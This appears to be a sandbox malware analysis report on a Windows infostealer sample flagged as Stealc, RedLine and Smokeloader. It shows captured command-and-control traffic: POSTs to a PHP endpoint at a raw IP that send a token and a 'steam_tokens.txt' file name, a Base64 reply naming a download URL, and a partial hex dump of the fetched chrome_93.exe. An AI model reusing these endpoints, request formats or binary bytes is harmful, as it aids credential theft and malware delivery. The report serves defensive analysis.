Oct 24, 2024 13:27:12.179088116 CEST	565	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJE Host: 109.107.157.208 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="file"------HDHCFIJEGCAKJJKEHJJE--
Oct 24, 2024 13:27:12.419008017 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 13:27:12.513580084 CEST	205	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCB Host: 109.107.157.208 Content-Length: 130367 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 13:27:13.385935068 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 13:27:13.419186115 CEST	474	OUT	POST /49aaa1bd4c594849.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKF Host: 109.107.157.208 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="message"ybncbhylepme------HIIEBAFCBKFIDGCAKKKF--
Oct 24, 2024 13:27:13.658214092 CEST	263	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 60 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 7a 61 58 4a 68 64 57 78 30 4c 6d 4a 6c 4c 32 4e 6f 63 6d 39 74 5a 56 38 35 4d 79 35 6c 65 47 56 38 4d 58 77 77 66 46 4e 30 59 58 4a 30 66 44 42 38 Data Ascii: aHR0cHM6Ly9zaXJhdWx0LmJlL2Nocm9tZV85My5leGV8MXwwfFN0YXJ0fDB8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	185.98.131.200	443	6592	C:\Users\user\Desktop\T220UXIoKO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 11:27:14 UTC	74	OUT	GET /chrome_93.exe HTTP/1.1 Host: sirault.be Cache-Control: no-cache
2024-10-24 11:27:15 UTC	433	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 11:27:15 GMT Content-Type: application/x-msdos-program Content-Length: 8627096 Connection: close Vary: Host Last-Modified: Wed, 23 Oct 2024 12:28:18 GMT ETag: "83a398-625240551f8ff" Accept-Ranges: bytes Cache-Control: no-store X-Request-Id: a567b44ab29d2538e46e9ed4298a141d X-Cache-Status: MISS X-Cache-Key: https://sirault.be/chrome_93.exebytes=0-2097151 Accept-Ranges: bytes
2024-10-24 11:27:15 UTC	15951	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0e 00 47 e2 18 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 10 01 00 00 a2 6c 00 00 00 00 00 e0 e6 c5 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 f7 00 00 04 00 00 26 f8 83 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEdGg"l@&`
2024-10-24 11:27:15 UTC	16384	IN	Data Raw: 7b c3 eb 6d ca bd 33 74 f2 ba a9 6b ed e5 ec 50 f2 b1 99 6b 95 9a b3 ec 56 bc 90 06 b7 8e 8e f5 1f a1 68 0e e1 bf c6 63 7c 31 5f 78 96 80 7e 87 0c 97 d6 b2 ec 35 c7 da 7c c6 5b d1 6e 48 49 36 b6 3a 0b a6 81 01 fe 56 48 c5 f7 3d b0 7d da b1 ce 26 43 42 aa 26 02 ba 72 2d 44 36 9b e6 6a 82 81 c1 21 48 1f d1 2b fe 93 ea e8 ae 8a f1 ac 62 d3 2a 34 5d 49 da b6 79 ce b2 4c 05 58 08 d2 91 7f e0 ad 9d 35 d5 31 51 fd 45 ae 03 7c f0 84 96 16 71 8e f5 df c1 07 e7 8b da 26 2c c4 04 fc 7f b4 0a cf 5b 26 32 68 6a 34 28 c4 d2 32 b1 82 cf 11 3e e2 3e ed 42 b3 26 5e 41 be bf d3 78 92 ba 20 33 18 95 b3 f3 f6 ec 13 49 d1 5e 0e f2 ad 6e 91 d5 6d 55 31 98 41 5f 66 b5 c5 bb 96 b2 b5 fe de 71 c0 14 12 a2 8b ad b4 50 c7 8e ef dc ad 50 f6 68 b7 33 19 97 07 90 45 e4 36 ed 4e 42 b3 Data Ascii: {m3tkPkVhc\|1_x~5\|[nHI6:VH=}&CB&r-D6j!H+b*4]IyLX51QE\|q&,[&2hj4(2>>B&^Ax 3I^nmU1A_fqPPh3E6NB
2024-10-24 11:27:15 UTC	16384	IN	Data Raw: 51 91 71 1e 95 2e 61 e7 2b de 28 ad 1a cf 77 77 dc 3f 26 1e 9d ca 9b 25 d7 0a 6f ea 4a 4a 5d 64 b3 81 e6 d5 68 d4 54 51 7c 0a df 3c b7 36 dc a2 69 73 23 21 69 85 ee 61 bb c5 28 32 55 46 18 47 ca 7c 87 73 c3 43 dc 46 5d 7a 0f 2e f3 4e e0 92 c3 43 0e c7 a2 37 e8 f0 9d 0a 30 a7 e9 70 1f 8a a0 9c e3 e6 65 fe 76 2b 9f f6 db 36 62 86 8b 62 5a c3 ac 08 76 dc 8e 81 29 c3 a0 aa 20 3b c9 d1 27 3d bd 93 33 f0 5a df 39 bd c8 c5 3d 2c de d3 3a 2e 50 07 33 79 cd 1f 29 2b c4 a5 54 a4 c2 41 a7 90 d0 74 a2 94 3a 98 a6 91 71 32 a3 9a c5 2d 22 96 ba 6f 9a 0e 24 85 90 1a 23 4a 99 55 bf 19 9b 27 42 e7 38 b7 95 df 54 ea 8d a2 f4 eb 95 d2 f3 f4 b9 b0 01 f6 21 14 8b aa d3 63 a3 70 d0 65 83 81 0a ed 2e a3 b0 61 41 0d 9e 43 32 13 eb 2e 4d 4b e2 d7 f0 91 ec a1 ec fd d7 fc 58 41 fb Data Ascii: Qq.a+(ww?&%oJJ]dhTQ\|<6is#!ia(2UFG\|sCF]z.NC70pev+6bbZv) ;'=3Z9=,:.P3y)+TAt:q2-"o$#JU'B8T!cpe.aAC2.MKXA
2024-10-24 11:27:15 UTC	16384	IN	Data Raw: 21 9d fa c7 f2 34 8b cd 07 53 39 d1 23 9b bf cc c6 80 6c b3 6f c6 b9 c7 12 ae b4 e5 5c a2 73 2f 5c 92 33 f6 a2 00 9f fc 38 b2 9f d8 2c bb d4 2b 98 8a 7e d7 95 80 81 37 21 9d 9c ad 2b 95 bc dd 55 79 f8 4f 59 06 7a b9 13 ba 8c b7 23 94 91 b3 d6 ab 76 d7 22 87 25 d1 a4 00 c1 9f 6c a6 8e e2 39 00 a5 e7 d3 fe 6f db 72 10 68 07 6b 00 6b d6 5d 89 40 e7 ee 00 2a c9 93 f0 a1 e0 6f f2 e0 fb b1 84 40 d0 a2 d7 6b e8 63 d6 82 85 13 a2 73 cc 17 9b 7a bd 56 d8 2d ac e6 aa 8b d7 36 86 36 ad 25 84 78 d8 19 a9 e0 d3 27 7c 11 09 aa 8c e0 bd 20 ca 7f 7b 93 ac bb cb 4d 87 96 e9 2c 0b 69 cc 2e af e0 88 ff 3c 90 2d 93 a2 89 6b 15 9f 6a b6 6e 98 95 03 67 80 84 e1 4c fa 8d e6 1b e4 e0 9f 68 89 97 d7 44 b1 d6 2b f6 84 77 1d 85 ad 81 e5 76 00 6c 06 64 9c b9 07 13 c0 69 fb 28 d3 af Data Ascii: !4S9#lo\s/\38,+~7!+UyOYz#v"%l9orhkk]@*o@kcszV-66%x'\| {M,i.<-kjngLhD+wvldi(
2024-10-24 11:27:16 UTC	16384	IN	Data Raw: dc c3 d7 9b 39 dc a6 96 96 54 75 ee 1e 84 50 db 1a a7 ac d5 23 89 71 f0 38 87 a0 ad 60 82 73 af 4f 60 14 07 19 9c 9b 07 40 bf 67 b9 21 a0 b6 49 5a b3 8c 8c 2f 96 98 84 18 c0 ed bb 3d a1 f8 ff 15 b7 63 db 34 8f 7a a3 1f c3 a7 b0 1c ba 9c d4 65 9c 40 52 14 80 96 bd 6d 84 67 b7 13 bb ab d5 1d 82 61 c5 32 38 67 d2 38 91 3e c4 4a a4 be 71 13 a0 bf b9 1d 89 83 c8 4d ad 68 68 88 9c 6a bb 4a d4 7e 70 1a b0 84 dd 13 57 8e 84 21 82 3e 6c 49 c8 ae 00 1a 8f f8 56 87 9c d3 c0 e0 90 72 6a 5e a2 b8 b2 32 a1 89 3a 66 40 66 ce 62 b4 79 ad 2c df 6a f9 34 c9 c8 e5 51 9c 1f 7c ab a6 7e d9 11 be 63 cf 13 9f 6c eb 09 c9 e3 56 4e a6 40 bd 49 b4 8c e9 32 84 78 db a8 9e aa ad 5a 92 96 f1 63 a7 20 e7 19 84 64 e7 25 81 6d c4 cc 87 b8 07 36 00 9e b5 61 bb 7c 09 1e b1 1a bb 6f a0 96 Data Ascii: 9TuP#q8`sO`@g!IZ/=c4ze@Rmga28g8>JqMhhjJ~pW!>lIVrj^2:f@fby,j4Q\|~clVN@I2xZc d%m6a\|o
2024-10-24 11:27:16 UTC	16384	IN	Data Raw: 1e dd a4 c2 a0 e3 22 ed 3b d3 a9 ab 24 b1 c6 ab 92 91 80 b7 a4 00 a3 dc 13 ac bc fa 1b d5 a1 cc 8c 26 c1 18 29 92 5a 2d 73 86 bb a3 1d 8b e2 cc 92 99 97 0a 1f 9e f8 6d 99 00 f1 3d 62 90 1b bc f2 00 75 e7 1d 23 8f e0 12 13 9a b0 88 9a 92 5a f7 60 71 43 73 93 a7 cc 41 07 e1 b2 13 25 70 66 b7 e0 8d 5b eb 94 7d e7 1f 23 62 0a 18 c3 61 e5 20 bb 58 0c a9 82 72 ae 2b 98 26 ac dd 40 68 dc 12 c5 21 c5 2a 9f 71 cb 26 85 e8 e8 62 af 7d f2 53 88 7c db 1a 41 8c f1 6f 98 b7 f2 64 a5 89 29 ea a6 60 6f 39 a9 90 6a 69 15 c0 3d f3 83 ec d5 44 15 ed ab 43 74 8a 37 55 c6 2b b5 9b 11 12 ac 5d 6d be c3 59 a3 88 fc 96 8a 8a b7 74 88 e9 8b c3 80 b6 b2 58 99 7a f2 1a 1a cd ab dd 44 76 dc 12 8e 81 55 45 80 9f ec 3a a6 3c d8 48 ae 60 12 25 a4 7b 12 05 b2 63 dc 28 16 95 db 73 80 65 Data Ascii: ";$&)Z-sm=bu#Z`qCsA%pf[}#ba Xr+&@h!*q&b}S\|Aod)`o9ji=DCt7U+]mYtXzDvUE:<H`%{c(se
2024-10-24 11:27:16 UTC	16384	IN	Data Raw: 52 bd b8 dd 9b d4 aa c5 17 80 ba be e4 20 61 d1 8a 8a 8c f9 35 fd 73 f1 16 e5 af c9 e7 2a 11 ac 50 87 ba ac 17 8c 99 79 21 ba 72 b8 65 a4 d0 16 d5 80 62 32 93 96 d4 e7 bf 80 a8 49 51 9c 7c ec 41 d9 70 6d 45 a0 60 d9 4d cf b0 1d f3 d7 fc ab 12 9c 7d c4 1d af 75 ae 37 d9 83 e7 19 96 40 de 51 89 42 fc 5d 94 51 2c d5 0f e1 2f 49 cc e3 7d 51 39 bd b1 b0 08 71 fa 38 85 53 68 93 fb f8 2b b5 1f c2 46 36 47 25 2c 2e ac 97 e1 5d a2 10 cc 57 93 73 f2 56 02 e1 d6 f3 00 9a ee 92 85 2d 2f f4 92 f8 d1 4f 96 9e c9 60 8e ad ff 19 94 e0 b4 22 b3 7b 50 93 93 a7 2b 2b b5 79 1b 13 a7 70 fe 53 80 67 e6 c0 a3 c0 ad bb a8 83 db 92 b8 f0 82 aa 43 e1 4d 70 e2 60 ff 92 a4 08 ac 63 88 62 d1 6d d8 56 ca 15 b3 97 df 3d 97 b3 80 f4 90 84 2b 41 bb 7b b0 ba ba 1e 9c 6d fe 62 03 22 90 76 Data Ascii: R a5s*Py!reb2IQ\|ApmE`M}u7@QB]Q,/I}Q9q8Sh+F6G%,.]WsV-/O`"{P++ypSgCMp`cbmV=+A{mb"v
2024-10-24 11:27:16 UTC	16384	IN	Data Raw: 2e 9a dc 03 14 58 af b2 b0 d1 6f 29 d3 c7 88 df 24 b8 f4 2b a9 b7 74 75 23 9e b0 b9 7e 80 9a b6 4d 8c 67 87 13 85 97 00 5d 03 35 d2 e5 ae 17 83 42 5e 22 bb 1d b2 ba 29 9b 00 aa ae 38 c7 96 c3 68 c5 d1 a5 d7 e8 9c dc d2 4d 6e be 22 89 b1 f8 1b 85 b5 05 73 9f 9b 07 71 40 94 b5 4b c7 81 e1 c2 00 6f dd 4f d2 73 ec 4e dc b9 cb 4d 31 21 d6 df 00 e0 5c 13 aa 73 a0 13 a6 99 f1 52 d7 63 9b 43 34 1b d8 3a 97 bb ac 20 94 79 dc 18 60 90 b7 10 a2 84 ad 3e 09 61 cb 59 9d 87 e0 4d 93 77 c6 52 8f 60 b0 0c 60 60 12 93 3f ea 24 72 03 a6 c8 55 20 9b 07 42 9c 99 ce 19 2e 4d c0 5f 32 9e bf 13 ad 92 d6 15 85 86 0c 2c 79 9f 8c 5d 12 2d b5 21 ef bf f9 6e 5f a4 c6 4f 99 a1 86 22 7d 0d 18 25 d6 6b 98 93 87 95 e3 1f d2 e0 d2 14 d5 85 27 50 7d 39 eb 6e a6 92 e0 f2 83 9e b2 3a c1 43 Data Ascii: .Xo)$+tu#~Mg]5B^")8hMn"sq@KoOsNM1!\sRcC4: y`>aYMwR```?$rU B.M_2,y]-!n_O"}%k'P}9n:C
2024-10-24 11:27:17 UTC	16384	IN	Data Raw: 5a 85 20 e9 24 d7 71 dc 5e 62 b6 d8 5c 8b dd 5a 13 f7 e1 67 25 b4 3d b1 92 1e 88 e0 15 b6 62 c1 60 89 7d ab 8b 05 86 af 2a b9 e5 41 93 4c be ed 21 f4 65 68 e3 c7 c1 f5 ef 8a 6c d9 3d 70 01 e1 1c c8 8d bf 3b 07 63 be 38 bf 9c 31 cb 90 a0 3b 8a 96 7b b8 29 28 e1 ba 39 85 9b d6 4f 8e c6 7d f4 eb 80 1e 45 de b7 6b 93 c0 6f 0a c7 00 ac ab b5 b8 6e d1 2e 69 38 86 1f c2 09 21 42 00 31 e9 25 24 b3 7a 26 99 6b 36 2d f2 e0 20 2f cb 85 96 43 00 6a dd 33 ad 88 cd 08 80 19 53 39 60 e1 05 42 92 a8 cb 4c 7a 31 2c 4b a7 8a f8 38 00 83 bf 1a a0 94 bc 60 38 a7 30 20 bc 5d 2c 64 2a c9 2b 4d bb ee d8 22 8c 2f da d1 24 01 ad 60 96 a5 f2 27 fe 45 2c fc 9b 4f 60 93 f8 74 09 46 be 69 f5 1d dd 82 ee ca 80 83 f3 f6 ad 7e bd 33 84 e7 dd 49 b9 b0 f9 1e ba 7b 5d 13 82 73 dc 50 d0 bd Data Ascii: Z $q^b\Zg%=b`}AL!ehl=p;c81;{)(9O}Ekon.i8!B1%$z&k6- /Cj3S9`BLz1,K8`80 ],d+M"/$`'E,O`tFi~3I{]sP
2024-10-24 11:27:17 UTC	16384	IN	Data Raw: 2f ae b9 e2 fd f0 60 08 5b 97 e9 ca 60 9e fd d1 e4 89 69 40 57 d1 e0 c8 31 80 ba f0 52 d7 63 bd d2 f2 81 be 63 8c bd a6 3e 39 e1 fa d7 03 0c b4 12 9e 65 d2 27 bb 30 2c 2a 90 89 c2 16 a6 ba 63 13 bf 91 f7 8f b8 8d 45 1d 87 f4 80 1e 80 63 2b 59 c5 57 01 41 7e e1 ab 4d cd 74 25 18 a5 84 d2 6a 80 10 d6 b5 24 1b b6 55 2c 39 ff 4f b4 67 dd 33 95 bc 08 6c f5 52 2c 7c a3 d2 87 93 64 9e cd 2f 8e 89 e4 91 09 61 27 13 e4 9c 6a 08 00 39 fc 35 b9 80 ed dd 7b b0 ab 13 32 65 ce 39 94 0b 5e 93 a0 93 9b 6c 35 39 ac 4e 82 79 f5 b8 00 af 6d 93 b4 3d f5 12 86 91 c5 42 72 7c 92 34 05 8b 6b 8c c7 ac af 24 a0 6a 02 12 94 e0 7d 31 9f aa fe 62 9d 90 5a a1 80 76 f9 12 9a b2 ba 12 9c 76 a5 15 3c a8 c8 6d f5 04 ac 6f 42 0c ba d5 b4 0f e5 07 69 61 cd 32 65 7b 03 3f 3e 78 f1 54 84 cd Data Ascii: /`[`i@W1Rcc>9e'0,*cEc+YWA~Mt%j$U,9Og3lR,\|d/a'j95{2e9^l59Nym=Br\|4k$j}1bZvv<moBia2e{?>xT

Target ID:	0
Start time:	07:26:56
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\T220UXIoKO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\T220UXIoKO.exe"
Imagebase:	0x400000
File size:	399'360 bytes
MD5 hash:	AE4D9A7E7F5A086B46B05F5949FC1C78
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2934288445.00000000007E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2934347582.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2934347582.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1682295630.0000000000880000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	45.5%
Signature Coverage:	10.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
